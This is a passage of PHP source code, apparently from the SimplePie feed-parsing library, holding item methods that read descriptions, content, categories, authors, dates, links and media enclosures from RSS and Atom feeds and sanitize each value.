		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML)))
		{
			return $return;
		}

		elseif (!$description_only)
		{
			return $this->get_content(true);
		}

		return null;
	}

	/**
	 * Get the content for the item
	 *
	 * Prefers full content over summaries, but will return a summary if full
	 * content does not exist.
	 *
	 * To prefer summaries instead, use {@see get_description}
	 *
	 * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
	 *
	 * @since 1.0
	 * @param boolean $content_only Should we avoid falling back to the description?
	 * @return string|null
	 */
	public function get_content($content_only = false)
	{
		if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) &&
		    ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) &&
		        ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (!$content_only)
		{
			return $this->get_description(true);
		}

		return null;
	}

	/**
	 * Get the media:thumbnail of the item
	 *
	 * Uses `<media:thumbnail>`
	 *
	 *
	 * @return array|null
	 */
	public function get_thumbnail()
	{
		if (!isset($this->data['thumbnail']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				$this->data['thumbnail'] = $return[0]['attribs'][''];
			}
			else
			{
				$this->data['thumbnail'] = null;
			}
		}
		return $this->data['thumbnail'];
	}

	/**
	 * Get a category for the item
	 *
	 * @since Beta 3 (previously called `get_categories()` since Beta 2)
	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Category|null
	 */
	public function get_category($key = 0)
	{
		$categories = $this->get_categories();
		if (isset($categories[$key]))
		{
			return $categories[$key];
		}

		return null;
	}

	/**
	 * Get all categories for the item
	 *
	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
	 *
	 * @since Beta 3
	 * @return SimplePie_Category[]|null List of {@see SimplePie_Category} objects
	 */
	public function get_categories()
	{
		$categories = array();

		$type = 'category';
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, $type) as $category)
		{
			$term = null;
			$scheme = null;
			$label = null;
			if (isset($category['attribs']['']['term']))
			{
				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['scheme']))
			{
				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['label']))
			{
				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, $label, $type));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, $type) as $category)
		{
			// This is really the label, but keep this as the term also for BC.
			// Label will also work on retrieving because that falls back to term.
			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			if (isset($category['attribs']['']['domain']))
			{
				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$scheme = null;
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, null, $type));
		}

		$type = 'subject';
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, $type) as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, $type) as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type));
		}

		if (!empty($categories))
		{
			return array_unique($categories);
		}

		return null;
	}

	/**
	 * Get an author for the item
	 *
	 * @since Beta 2
	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Author|null
	 */
	public function get_author($key = 0)
	{
		$authors = $this->get_authors();
		if (isset($authors[$key]))
		{
			return $authors[$key];
		}

		return null;
	}

	/**
	 * Get a contributor for the item
	 *
	 * @since 1.1
	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Author|null
	 */
	public function get_contributor($key = 0)
	{
		$contributors = $this->get_contributors();
		if (isset($contributors[$key]))
		{
			return $contributors[$key];
		}

		return null;
	}

	/**
	 * Get all contributors for the item
	 *
	 * Uses `<atom:contributor>`
	 *
	 * @since 1.1
	 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects
	 */
	public function get_contributors()
	{
		$contributors = array();
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}

		if (!empty($contributors))
		{
			return array_unique($contributors);
		}

		return null;
	}

	/**
	 * Get all authors for the item
	 *
	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
	 *
	 * @since Beta 2
	 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects
	 */
	public function get_authors()
	{
		$authors = array();
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}
		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author'))
		{
			$authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($authors))
		{
			return array_unique($authors);
		}
		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
		{
			return $authors;
		}
		elseif ($authors = $this->feed->get_authors())
		{
			return $authors;
		}

		return null;
	}

	/**
	 * Get the copyright info for the item
	 *
	 * Uses `<atom:rights>` or `<dc:rights>`
	 *
	 * @since 1.1
	 * @return string
	 */
	public function get_copyright()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}

		return null;
	}

	/**
	 * Get the posting date/time for the item
	 *
	 * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
	 * `<atom:modified>`, `<pubDate>` or `<dc:date>`
	 *
	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
	 * {@see get_gmdate}
	 *
	 * @since Beta 2 (previously called `get_item_date` since 0.8)
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_date($date_format = 'j F Y, g:i a')
	{
		if (!isset($this->data['date']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}

			if (!empty($this->data['date']['raw']))
			{
				$parser = $this->registry->call('Parse_Date', 'get');
				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
			}
			else
			{
				$this->data['date'] = null;
			}
		}
		if ($this->data['date'])
		{
			$date_format = (string) $date_format;
			switch ($date_format)
			{
				case '':
					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);

				case 'U':
					return $this->data['date']['parsed'];

				default:
					return date($date_format, $this->data['date']['parsed']);
			}
		}

		return null;
	}

	/**
	 * Get the update date/time for the item
	 *
	 * Uses `<atom:updated>`
	 *
	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
	 * {@see get_gmdate}
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_updated_date($date_format = 'j F Y, g:i a')
	{
		if (!isset($this->data['updated']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
			{
				$this->data['updated']['raw'] = $return[0]['data'];
			}

			if (!empty($this->data['updated']['raw']))
			{
				$parser = $this->registry->call('Parse_Date', 'get');
				$this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']);
			}
			else
			{
				$this->data['updated'] = null;
			}
		}
		if ($this->data['updated'])
		{
			$date_format = (string) $date_format;
			switch ($date_format)
			{
				case '':
					return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);

				case 'U':
					return $this->data['updated']['parsed'];

				default:
					return date($date_format, $this->data['updated']['parsed']);
			}
		}

		return null;
	}

	/**
	 * Get the localized posting date/time for the item
	 *
	 * Returns the date formatted in the localized language. To display in
	 * languages other than the server's default, you need to change the locale
	 * with {@link http://php.net/setlocale setlocale()}. The available
	 * localizations depend on which ones are installed on your web server.
	 *
	 * @since 1.0
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_local_date($date_format = '%c')
	{
		if (!$date_format)
		{
			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif (($date = $this->get_date('U')) !== null && $date !== false)
		{
			return strftime($date_format, $date);
		}

		return null;
	}

	/**
	 * Get the posting date/time for the item (UTC time)
	 *
	 * @see get_date
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
	 * @return int|string|null
	 */
	public function get_gmdate($date_format = 'j F Y, g:i a')
	{
		$date = $this->get_date('U');
		if ($date === null)
		{
			return null;
		}

		return gmdate($date_format, $date);
	}

	/**
	 * Get the update date/time for the item (UTC time)
	 *
	 * @see get_updated_date
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
	 * @return int|string|null
	 */
	public function get_updated_gmdate($date_format = 'j F Y, g:i a')
	{
		$date = $this->get_updated_date('U');
		if ($date === null)
		{
			return null;
		}

		return gmdate($date_format, $date);
	}

	/**
	 * Get the permalink for the item
	 *
	 * Returns the first link available with a relationship of "alternate".
	 * Identical to {@see get_link()} with key 0
	 *
	 * @see get_link
	 * @since 0.8
	 * @return string|null Permalink URL
	 */
	public function get_permalink()
	{
		$link = $this->get_link();
		$enclosure = $this->get_enclosure(0);
		if ($link !== null)
		{
			return $link;
		}
		elseif ($enclosure !== null)
		{
			return $enclosure->get_link();
		}

		return null;
	}

	/**
	 * Get a single link for the item
	 *
	 * @since Beta 3
	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
	 * @param string $rel The relationship of the link to return
	 * @return string|null Link URL
	 */
	public function get_link($key = 0, $rel = 'alternate')
	{
		$links = $this->get_links($rel);
		if ($links && $links[$key] !== null)
		{
			return $links[$key];
		}

		return null;
	}

	/**
	 * Get all links for the item
	 *
	 * Uses `<atom:link>`, `<link>` or `<guid>`
	 *
	 * @since Beta 2
	 * @param string $rel The relationship of links to return
	 * @return array|null Links found for the item (strings)
	 */
	public function get_links($rel = 'alternate')
	{
		if (!isset($this->data['links']))
		{
			$this->data['links'] = array();
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']))
				{
					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));

				}
			}
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']))
				{
					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
				}
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
			{
				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true')
				{
					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
				}
			}

			$keys = array_keys($this->data['links']);
			foreach ($keys as $key)
			{
				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
				{
					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
					}
					else
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
					}
				}
				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
				{
					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
				}
				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
			}
		}
		if (isset($this->data['links'][$rel]))
		{
			return $this->data['links'][$rel];
		}

		return null;
	}

	/**
	 * Get an enclosure from the item
	 *
	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
	 *
	 * @since Beta 2
	 * @todo Add ability to prefer one type of content over another (in a media group).
	 * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Enclosure|null
	 */
	public function get_enclosure($key = 0, $prefer = null)
	{
		$enclosures = $this->get_enclosures();
		if (isset($enclosures[$key]))
		{
			return $enclosures[$key];
		}

		return null;
	}

	/**
	 * Get all available enclosures (podcasts, etc.)
	 *
	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
	 *
	 * At this point, we're pretty much assuming that all enclosures for an item
	 * are the same content.  Anything else is too complicated to
	 * properly support.
	 *
	 * @since Beta 2
	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
	 * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
	 * @return SimplePie_Enclosure[]|null List of SimplePie_Enclosure items
	 */
	public function get_enclosures()
	{
		if (!isset($this->data['enclosures']))
		{
			$this->data['enclosures'] = array();

			// Elements
			$captions_parent = null;
			$categories_parent = null;
			$copyrights_parent = null;
			$credits_parent = null;
			$description_parent = null;
			$duration_parent = null;
			$hashes_parent = null;
			$keywords_parent = null;
			$player_parent = null;
			$ratings_parent = null;
			$restrictions_parent = null;
			$thumbnails_parent = null;
			$title_parent = null;

			// Let's do the channel and item-level ones first, and just re-use them if we need to.
			$parent = $this->get_feed();

			// CAPTIONS
			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
			{
				foreach ($captions as $caption)
				{
					$caption_type = null;
					$caption_lang = null;
					$caption_startTime = null;
					$caption_endTime = null;
					$caption_text = null;
					if (isset($caption['attribs']['']['type']))
					{
						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['lang']))
					{
						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['start']))
					{
						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['end']))
					{
						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['data']))
					{
						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
				}
			}
			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
			{
				foreach ($captions as $caption)
				{
					$caption_type = null;
					$caption_lang = null;
					$caption_startTime = null;
					$caption_endTime = null;
					$caption_text = null;
					if (isset($caption['attribs']['']['type']))
					{
						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['lang']))
					{
						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['start']))
					{
						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['end']))
					{
						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['data']))
					{
						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
				}
			}
			if (is_array($captions_parent))
			{
				$captions_parent = array_values(array_unique($captions_parent));
			}

			// CATEGORIES
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
			{
				$term = null;
				$scheme = null;
				$label = null;
				if (isset($category['data']))
				{
					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($category['attribs']['']['scheme']))
				{
					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				else
				{
					$scheme = 'http://search.yahoo.com/mrss/category_schema';
				}
				if (isset($category['attribs']['']['label']))
				{
					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
			}
			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
			{
				$term = null;
				$scheme = null;
				$label = null;
				if (isset($category['data']))
				{
					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($category['attribs']['']['scheme']))
				{
					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				else
				{
					$scheme = 'http://search.yahoo.com/mrss/category_schema';
				}
				if (isset($category['attribs']['']['label']))
				{
					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
			}
			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
			{
				$term = null;
				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
				$label = null;
				if (isset($category['attribs']['']['text']))
				{
					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));

				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
				{
					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
					{
						if (isset($subcategory['attribs']['']['text']))
						{
							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
					}
				}
			}
			if (is_array($categories_parent))
			{
				$categories_parent = array_values(array_unique($categories_parent));
			}

			// COPYRIGHT
			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
			{
				$copyright_url = null;
				$copyright_label = null;
				if (isset($copyright[0]['attribs']['']['url']))
				{
					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($copyright[0]['data']))
				{
					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
			}
			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
			{
				$copyright_url = null;
				$copyright_label = null;
				if (isset($copyright[0]['attribs']['']['url']))
				{
					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($copyright[0]['data']))
				{
					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
			}

			// CREDITS
			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
			{
				foreach ($credits as $credit)
				{
					$credit_role = null;
					$credit_scheme = null;
					$credit_name = null;
					if (isset($credit['attribs']['']['role']))
					{
						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($credit['attribs']['']['scheme']))
